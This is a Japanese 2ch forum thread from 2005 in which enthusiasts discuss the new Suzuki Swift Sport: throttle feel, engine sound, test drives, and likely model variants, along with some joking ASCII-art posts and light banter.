429 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:45:18 ID:wNNQoV5u0

>>426
アクセルペダルの踏力が軽いって事でしょ
空ぶかしと走行時で変わるもんなの？

430 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:45:53 ID:93SyVHS70

>>418は昨日の左遷されて威張ってたヤツじゃないかな

431 名前：VEGLIA：2005/09/22(木) 13:47:08 ID:w5H5Tie9O

昼休みに近くのｽｽﾞｷﾃﾞｨｰﾗｰでNEWｽｲｽﾎﾟが展示されているのを発見。
チラッと見かけただけなので、試乗車かどうかは不明。

“重い”だの“バンパーが変”だのイロイロ文句つけてたけど、STDのNEWｽｲｽﾎﾟが出た時からイイナーと思ってただけに、現物を見るとアバタもエクボ（苦笑）

やっぱ最終的には試乗しないと何とも言えませんよね。
今度の休みにでも、ゆっくり見に行こうかなー？

432 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:54:19 ID:7wyAqmiO0

>>429
実際に自分の車で比べてみれ

433 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:54:49 ID:hRAdFIbR0

そうそう、アクセルペダルが軽すぎって事だ。
車全体としてみれば今までのスズキの軽の延長線上にある
安っぽい車じゃないよ。

434 名前：VEGLIA：2005/09/22(木) 13:58:24 ID:w5H5Tie9O

アクセルペダルを重たくしたいなら、リターンスプリングを硬いモノに変えれば済む事かと・・・。

435 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:59:01 ID:A6+XdpfB0

つ【電子制御スロットル】

436 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 13:59:19 ID:hRAdFIbR0

≫リターンスプリングを硬いモノに変えれば済む事かと・・・

その予定です

437 名前：VEGLIA：2005/09/22(木) 14:04:14 ID:w5H5Tie9O

436様、
じゃ、一件落着ですな。
イヂって自分に合わせていくのもクルマ趣味の醍醐味かと思います

ちなみに私が乗ってたクルマは納車一週間後にブレーキペダルが外れた事があります。

438 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 14:07:32 ID:mCzYwbo70

>>429
435の言うとおり電子制御スロットルだから変わらない。
アクセルペダルはスイッチボックスにつながってるだけ。
スプリングさえ変えることができれば重さなんて自由自在。

439 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 14:08:23 ID:SM6TOau80

「フライ・バイ・ワイヤー」、「だから飛ぶな」の流れを予測してみる

↓↓

440 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 14:12:19 ID:uSFjvGoj0

スイスポ好きな連中ってオタクなのが多いな。

441 名前：VEGLIA：2005/09/22(木) 14:15:47 ID:w5H5Tie9O

440
アハハ。
確かに、オタ臭いのは否定できないかも。
全部じゃなかろうけど。

442 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 14:30:11 ID:z5SBjRGjO

アニメ好きでいいじゃん！ランファ好き

443 名前：VEGLIA：2005/09/22(木) 14:37:57 ID:w5H5Tie9O

「オタク＝アニメ好き」と決め付けてしまうのは、いかがなモノかと・・・。

444 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 14:51:32 ID:1oUt3l3w0

>>440
TVの電車男見てる？
一般人から見たら、ここに書き込んでる時点でオマエもヲタ扱いですからｗ

445 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 14:52:41 ID:svMAXkur0

２ｃｈやってる時点で、間違いなくオタク全開だろう。

446 名前：VEGLIA：2005/09/22(木) 14:56:13 ID:w5H5Tie9O

445
まさにジャストミート！！
スゲー、ワロタ。

447 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 15:36:49 ID:iDoBibej0

>>439
！！スイスポはＦ１６と同じだ！！！

448 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 15:38:38 ID:7wyAqmiO0

西川淳の試乗会でこんにちは！
ttp://www.carsensor.net/E_carkingdom/newjune.html

449 名前：VEGLIA：2005/09/22(木) 15:53:21 ID:w5H5Tie9O

ﾌﾗｲ･ﾊﾞｲ･ﾜｲﾔｰと言えば、ルノーがそう言うの出すみたいですね。
舵角は無論、加減速もステアに付いてるスライドスイッチで制御。

ペダルが無いってのはどんな感じなのかなー？

450 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 16:45:51 ID:gyyTp1kE0

だから飛ぶなって！！

＃やらせて頂き光栄です

451 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 17:08:27 ID:gyyTp1kE0

一応マジレスも
航空機で始めに採用されたことにちなんで自動車でも
fly by wire（電気信号でコントロールして飛ぶ）って
言葉が一時よく使われたんだけど，今は意味から考えても
drive by wireが普通でしょう

452 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 17:20:10 ID:pSw/FJo60

>>448
おお、動画がなかなか良いですね
欲しくなってきました

453 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 19:41:35 ID:1kQNIprG0

いくらなんでも「ＦＦ界のロードスター」はどうか、と思った。

454 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 20:16:03 ID:IHqrEDzl0

スポーチー

455 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 20:17:00 ID:EDvn+dnB0

この表現って２，３あるよね
同じ試乗会で話題にでたんだろうな

456 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 20:32:25 ID:zJlSCkxt0

i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽFF界のロードスター　フォーーー
　　　　　痛すぎますよーススキさあーん　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

457 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 20:35:20 ID:pSw/FJo60

足回りも悪くなさそうですね
競技に使わないなら、この足だとLSDいらないかも

458 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 20:48:51 ID:hRAdFIbR0

ＬＳＤは、当初から考えてなかった。
デバイスに頼らずシャーシの基本性能だけでどれだけポテンシャルを上げられるか
勝負しているので。

と雑誌でメーカー技術者が言ってます。
納得。

459 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 21:08:00 ID:5F30urFO0

　　∧＿∧ 　 ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　（　・∀・）＜　LSDは当初から考えていなかった。デバ･･･
　（ 建前 ）　 ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　｜ ｜　|
__（_＿）＿）＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　（ ＿）＿）
　｜ ｜ ｜
　（ 本音 ） 　／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　（　。Ａ。）＜　150万程度の車でLSDってアホ？
　　∨￣∨ 　 ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿

460 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 21:11:49 ID:Kjn6BALr0

男1人で乗る⇒スイフト
カップルで乗る⇒ロードスター
夫婦＋子供⇒ヴィッツＲＳ

461 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 21:19:04 ID:gRtbKwHV0

ビスカス付けてチョ

462 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 21:24:15 ID:1kQNIprG0

>>459
つ【カプチーノ（リミテッド）】

463 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 21:27:58 ID:6aaen2VE0

>>459
つ【Kei（works】

464 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 21:54:14 ID:U94LYObv0

>>460
女一人で乗るのはダメですか…orz

465 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 21:59:26 ID:gRtbKwHV0

(´･ω･`)モキュ

466 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 22:01:40 ID:VoWPkMaj0

ちょっと電車男最終回見てくる！

467 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 22:21:31 ID:hRAdFIbR0

実際のエルメスは、じみ〜〜で殆どの男から目もかけられないほどの女なのに
ＴＶじゃ美化しすぎ

468 名前：VEGLIA：2005/09/22(木) 22:29:05 ID:w5H5Tie9O

まぁ、ドラマですから・・・(;^_^A

469 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 22:35:32 ID:U94LYObv0

別物と考えてみれば楽しめるよね。
エヴォマニア（名前忘れた…）の兄さん大好きだ。

470 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 22:40:21 ID:RZy1PP/R0

>>348 遅レスですが旧スイスポは素の86に近い音がした。今のは知らない。

471 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 22:46:41 ID:zJlSCkxt0

>>470
i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽセイセイセイ旧スイスポはFF界の豆腐屋フォーーー
　　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

472 名前：VEGLIA：2005/09/22(木) 23:04:27 ID:w5H5Tie9O

また来ちゃったんですね。
ハード芸98馬力さん・・・。
貴方が好きなクルマって一体どんなのなんでしょうね？

473 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 23:08:53 ID:ZJ7kxnRI0

コンパクトカーはスイフトとヴィッツＲＳの時代だね。

474 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 23:08:55 ID:56iG76yh0

>>470
まじすか？　イイ（　・∀・）ｍ
明日にでも県内のスズキディーラー回りするよ。

ある程度エンジン音が車内に入った方が気持ちいいよね

475 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 23:14:56 ID:U94LYObv0

>>474
色々インプレ見てみたけど、音は結構いいみたい。ただ結構静からしいよ。

476 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 23:22:28 ID:5O8MpBZY0

旧型もそんなに五月蝿くなかったけどな
ラアンのマフラー入れるとS1600みたいな音質になる

477 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 23:27:46 ID:LHP7xHY90

ここのスレ伸びがハンパじゃないな。
カタログもらってくるか。。。
ワゴンR RR乗りだが・・・

478 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 23:28:02 ID:1kQNIprG0

乾いたバァァァって音？

それはいいな。

479 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 23:31:02 ID:U94LYObv0

>>477
だいじょぶだ。オラだってワークス乗りだ…
もちろんノーマル・スポーツ、両方カタログ完備です…

480 名前：VEGLIA：2005/09/22(木) 23:31:07 ID:w5H5Tie9O

来年度のスイフトＣＵＰはやはりNEWｽｲﾌﾄに切り替わるんですかね？
て事は、当然ロールケージも出るかな？

481 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 23:31:18 ID:5O8MpBZY0

ttp://www.globalsuzuki.com/ignissport/
こんな感じ
たぶん新型用もラアンが作るんじゃね

482 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 23:31:34 ID:ZJ7kxnRI0

ヴィッツＲＳはいい音するよ。

483 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 23:37:45 ID:jW1s/VZX0

>>482
でもヴィッツRSはスポーティというよりは
もっと大人でマイルドな感じにしたててあると
開発者がなんかの雑誌でいってたぞ。
実際、RS以外でもっとスポーティよりにふったモデルが
今後でるみたいだし。

484 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 23:50:36 ID:tVkqCa2B0

電制スロットルの具合はどんなだろ。
ちょっと踏んだだけでぶわっと開くのは好きじゃないんだよね。その辺、自然な味付けになってるならほんとに欲しい車だす。

485 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 23:56:21 ID:Ln/cxHRU0

>>484
アクセル踏み角度と電圧の関係は抵抗で変えられる、
それで巧く行かなかったら間にワンチップマイコン入れると良いよ。

486 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 23:57:09 ID:QA/hWQiE0

>>482
TRDエキマニとマフラーでこの音ですか？
まぁ、インプレのTRD Sports MがCVTの様ですので
俺にはビックスクーターが発進して入る様な音にしか聞こえませんが？

487 名前：486↑：2005/09/22(木) 23:58:30 ID:QA/hWQiE0

リンク貼り忘れた
http://www.modellista.co.jp/impression/vitz/

488 名前：名無しさん＠そうだドライブへ行こう：2005/09/22(木) 23:59:02 ID:hRAdFIbR0

ちょっと踏んだだけでグワット開きましたよ。
例えるなら、1500ccの方で2000回転くらいに吹けるような踏み込み方だと
スイスポは4000回転くらいまで回ります。
空ぶかし状態での話しだけどね。

489 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 00:12:07 ID:LAujPiXO0

スーパー1600はターマックでも速いし、ラリージャパン楽しみ!!
http://blogs.dion.ne.jp/toshimrns/archives/1934922.html

十勝行くひとはいないのかな?

490 名前：484：2005/09/23(金) 00:13:22 ID:/M40376R0

>>485
なるほど、けっこう手軽にチューニングできそうなんですね。

>>488
ほほぉそんな感じですか。機会あったら試乗してみます。

491 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 00:16:42 ID:N7g7QIHK0

>>488
そんな事言ったら
２サイクルはどう言ったらいいんで？
ちょっと煽るとドヒャーンと上がるぞ。
無負荷では分からないよ。

492 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 00:18:29 ID:7UCXMK3U0

最高出力は控え目の125馬力なんだから
低中速のピックアップが良くなければ話にならん

493 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 00:23:23 ID:BzLOhVVs0

俺ルポGTI乗りだけど、インプレッションをみるとルポGTIに性格が似てる。
サイズはスイスポのほうが20センチも大きいけど、サスの味付け、エンジンの特性が俺はお前か？状態だ。

494 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 00:30:09 ID:/z0zYCY3O

今日見たけど、県警のﾐﾆﾊﾟﾄにｽｲﾌﾄ採用されてましたょ

495 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 00:30:28 ID:sw8NzoJP0

>>493
クラリススレからの出張乙ですｗ
どちらかと言えば、プジョー風味の味付けだと思っていたのですが

496 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 00:35:11 ID:GT5/v1yH0

>>494それは旧ｽｲﾌﾄでゎ。

497 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 00:42:56 ID:BzLOhVVs0

>>495
オマエモナーｗ
プジョーはお尻の粘りが少なめじゃない？
ベスモでルポGTIとの対決を早く見てみたい。いい勝負するんじゃないかな？

498 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 00:53:38 ID:sQADngkW0

>>467
実際のエルメスどんななの？
画像でてるの？

499 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 00:57:18 ID:I4j6Ep5j0

ララァ・スン少尉専用モビルアーマーって言わなきゃダメだ！

500 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 01:00:15 ID:+zAfgYWD0

これを急いで買うよりもコルトターンパイクとヴィッツTS見てからでも遅くないな・・・とAT乗って思った。

501 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 01:13:11 ID:sw8NzoJP0

>>497
成る程、確かにルポGTIに近いかもしれませんね
私も対決が楽しみです

502 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 01:38:21 ID:n8+UH8Gs0

スイスポ買うか迷ってる。
ビート乗りなんだが、売ってまで乗る車かどうか。
早さは求めてない、楽しさ重視です。
ビートやカプチーノ、ロードスターから乗り換えようと思ってる香具師いますか。

503 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 01:42:54 ID:sQADngkW0

4人乗りで新車、国産だと軽くて楽しそうなのはこれと12SRぐらいしか選択肢ないような。

504 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 01:55:34 ID:7Fnru5wJ0

>>477
伸びてるのは荒らしがいるから…

505 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 02:29:42 ID:lzjfMNG60

>>497
半分HotVersion化してしまったベスモでやるのかなぁ？
できればやってほしいけど。

506 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 03:17:47 ID:QcooTp9m0

ヴィッツＴＲＤよりいい音するのですか。

507 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 03:47:29 ID:ea3zSjeh0

>>502
i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ軽ベースなのでビートから乗り換えても違和感ないですよー
　　　　フォーー！！
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

508 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 03:51:16 ID:ea3zSjeh0

>>505
i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ土屋やガン爺に車作りがなってないと酷評されるのが落ちですよー
　　　　　　　なんせ毛伊ベースですからーフォーーー！！　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

509 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 03:53:50 ID:ea3zSjeh0

>>494
i｀ヽ　　　　　　　　　　　　　 　　　 　 　 　 ,r‐'ァ
　｀ヽ軽ベースですから警察さんも
　　　　　ミニパト扱い　フォーーー　　　　　　
　　 ヽ ヽ　　　　　 　 , -‐--､ 　　　　　 　 /　/
　　 　ヽ　＼　　　 　 I:：：：：：:I_ 　　　 　_ /　/
　　　　 ヽ　 ヽ　　　 i,(;;;ﾉI､;;;)l　　　 ,,／　 , '
　　　　 　ヽ 　` ｰ ､.,,ゝ´ヮ｀,ﾉｭ_, - '　　 r'
　　　　　 　 ` ､_ ／：:: `山'::::：　　 　／
　　 　　　　　　ヽ：::::::::::|:::::::："",r‐'
　　　　　　　　　 〉::::::::|::::::::::¨/
フォ────　/;;;;;;;/;;;;;;;;;;/ ─────────！！！！！
　　　　　　　　/;;;;;;;/:::::::::::《
　　　　　((　<;;;;;;;《:::::::::::::ヽ 　))
　　　　　 ／ 　 ヽI,rつ""^~ヽ
　　　　 /　　　,／　ヽ　　　　ヽ

510 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 05:09:50 ID:549/KfD30

現行スイフトって100の4穴の7Ｊ−17＋38くらいでいけるみたいだけど
ＮＥＷスイスポもそのまま114.3の5穴で考えて良いのかなぁ？

511 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 05:27:10 ID:zWLZISNi0

ＮＥＷスイスポはＥＫ９より速いぜ

512 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 06:13:52 ID:vWIqFJ8lO

スイスポ3ドア必ず出ると思う
今は待ち

513 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 07:07:18 ID:8mtFUwwOO

ノーマルスイフト1.5のMTが必ず出ると思う
今は待ち

514 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 07:07:20 ID:I4j6Ep5j0

>>502
カプチーノ乗ってるけど、俺も購入検討中

別に乗り換える必要はないんじゃない？
２台体制でおｋ

なんらかの事情でどうしても１台だけしか持てない、っていうなら
俺は乗り換えない。

515 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 07:31:36 ID:Z3CKhy3LO

>>512
3ﾄﾞｱの国内販売はまず無い
なんせ3ﾄﾞｱは日本で作らず海外生産みたいだし
日本で3ﾄﾞｱ生産輸出していれば3ﾄﾞｱ販売も有りかも知れないが
車体を海外から輸入して日本で販売はｽｽﾞｷの体質からしてしないだろう
今のﾎﾝﾀﾞｼﾋﾞｯｸﾀｲﾌﾟR3ﾄﾞｱは海外生産のやつを輸入して販売して居たのは有名な話
仮に3ﾄﾞｱのｽｲｽﾎﾟが国内で販売になったとしても
車両価格は跳ね上がり価格に見合わないので2ちゃんで再び叩かれてしまうのがｵﾁなんじゃないか？
よっぽどｽｲﾌﾄｽｰﾊﾟｰ1600のｶﾀﾁで販売されたら話は別だが………

516 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 07:39:31 ID:tERdRnxC0

>>513
スイスポ発売ｹﾃｰｲの時点でそれは却下されたの知らないの？

517 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 08:30:49 ID:HyvYvA9e0

>>516 ソースは？

スイスポのあの内装を敬遠する層もあると思うんだけど

518 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 08:50:39 ID:qXQRIK7P0

意外と比率でATの方が売れてしまって、しぶしぶ1.5MTが出たりしてね

519 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 08:51:32 ID:me1kowb90

内装について見直す可能性はあるけど、3ドアは難しいだろうな。
コンパクトクラスで3ドアがあるのがヴィッツだけだもんな。それくらい売れない。

あと、赤が目立つ内装自体は気にならんが、メーターが自発光式じゃないのは気になった。

520 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 09:09:36 ID:qXQRIK7P0

ビッツにあったっけ？
マーチもなくなった

521 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 09:58:23 ID:QynEi0g00

ヴィッツの3ドアは今開催中のフランクフルトショーで出てる
たぶんフランス工場だけで生産されて日本では作らない

522 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 10:19:25 ID:8mtFUwwOO

>>517
ｺﾞﾒﾝ、俺の脳内。

硬派なサーキット乗りの人たちにはﾍﾀﾚと罵られそうだが、
たかがｺﾝﾊﾟｸﾄｶｰで低燃費＋ﾊｲｵｸ＋税金でやせ我慢したくないのよ。
見栄で乗るような種類の車でもないしね

俺的には普段は適度に財布に優しく、
週末に釣りに出掛けた山道でﾜｲﾝﾃﾞｨﾝｸﾞがちょっと楽しいぐらいの、
なんちゃってｽﾎﾟｰﾂが理想な訳

需要はあるとおもうんだけどなあ

523 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 10:22:19 ID:8mtFUwwOO

あ、ミスった。517は516へのレスか

524 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 10:23:29 ID:8g6PWSjp0

>>522
1.3MT買ってオプションのスポイラー付ければいいと思うよ。

525 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 10:35:53 ID:Q+8/ifuH0

>>502
ロドスタに似たような外車乗りですが検討中ですよー。
速さを求めるならありったけの金で「速い」車買うか、GTなりF3なりの参戦を目指せばよいけど（極論スマソ）、
そんなつもりは無いので「楽しい」かもしれないスイスポに期待してます。
二乗に挫折ならスイスポはありなんじゃないかな。MTに試乗してが楽しいかどうかですな。

526 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 10:38:23 ID:8mtFUwwOO

>>524
それも考えたけど、
いつか1.5MTが出るんじゃないかって、
購入に踏み切れなかった。
ﾎﾝﾄに出ないの？確定？

527 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 10:57:37 ID:Cv9HUxiH0

＞見栄で乗るような種類の車でもないしね
軽ベースだとは人には言えないからな。

528 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 11:03:03 ID:HyvYvA9e0

スズキのシミズに聞けば判るかもな。

529 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 11:35:59 ID:Cv9HUxiH0

＞判るかもな。
今のとこ雨の日の試乗は危険みたいだな。

530 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 11:43:45 ID:8g6PWSjp0

>>526
確定かどうか誰も分からないよ。
3ドアが日本で出ない事やスイスポでATが設定された事とかを踏まえて
出ない確率が高いかもしれないという程度の予想だけど。

531 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 11:45:40 ID:Cv9HUxiH0

＞3ドアが日本で出ない事
軽ベースなのがバレるからな。

532 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 12:32:40 ID:FdOlk5Jf0

>>531
おまえいつも同じ文面でくだらんこといってるなよ
ニートだからってずっとこのスレに粘着するなよｗ
こんな事してる暇あったら就職活動してこいｗ

533 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 12:41:10 ID:qOwyK6/k0

Dラーから試乗車到着の連絡ｷﾀｧ
後で逝って来るよ〜

534 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 13:03:39 ID:KdJIHgr60

>>532
そいつはアルトワークスのATでコンパクトクラスを煽り倒すのが
好きな奴だ。ほっとけ。

535 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 13:40:32 ID:ixNCxiPi0

本日、某県まで出向き、スイスポ試乗してきました！
年配の店員さんが同乗したため、フルアタックみたいな運転は出来ませんでしたが
普通に街中を運転してみた感想。

アクセルを踏むとタイトでストレートな加速が気持ちいい。
足回りがやや硬くアスファルトの継ぎ目などでは跳ね気味でした。
大きめのシートでホールド感もまぁまぁ。

なんせ今現在の愛車がワゴンRワイド　5MT ターボなんで
全てが新鮮でトキメキました。

536 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 14:00:31 ID:3SPEy2q10

１．５ＭＴが欲しい理由ってなに？

１．３ＭＴを出すのはスイフト最低グレードを出して、安さを見せるためだろ。
コンパクトカーの需要なんてほっとんどがＡＴなんだから、
無理して１．５ＭＴを作ったらスイフト全体が値上がりすっぞ。
３ドアも同様。売れないものは作らない。１．５のパッケージででスイスポより高くなりそうだな。
スズキが１．３でもＭＴを出してくれたのを感謝しなきゃ。
スイスポがあの足あのエンジンでこんなに安くＭＴを出してくれているんだから、
１．５ＭＴなんて出しても売れるわけがないでしょ。

537 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 14:20:35 ID:/k5nLU3T0

＞無理して１．５ＭＴを作ったらスイフト全体が値上がりすっぞ。

スイスポの方がよっぽど無理してそうなんだがｗ

538 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 14:26:10 ID:3SPEy2q10

そりゃホンダさんに、何でＮＳＸやタイプＲ出すの？って言ってるようなもんだなあ。

539 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 14:29:07 ID:7L1LgbMW0

>>536
誤爆しましたね？

540 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 14:50:27 ID:3SPEy2q10

？
>>518
>>524

541 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 14:58:12 ID:Iq6CgC7p0

>>535

インプレ有り難う
ＡＴの試乗でしょうけど、１速と２速の繋がりが悪くないですか？
1.3ＡＴに乗ったけどスタート時は良いのだけど２速に入った途端に回転数が一気に
下がって失速するような感じでした。

542 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 15:04:02 ID:Iq6CgC7p0

連投失礼
そうそう、黒のスイスポを見てきましたけどメチャ格好良かったですよ。
バックミラーに映ったら思わずどきたくなるようなオーラをかもし出してましたよ。

543 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 15:12:11 ID:QilGJyvY0

>>542
ようするにDQN臭が出てたのね

544 名前：名無しさん＠そうだドライブへ行こう：2005/09/23(金) 15:30:20 ID:Iq6CgC7p0

>>543

インパクトはあるが、DQN臭は無かったよ

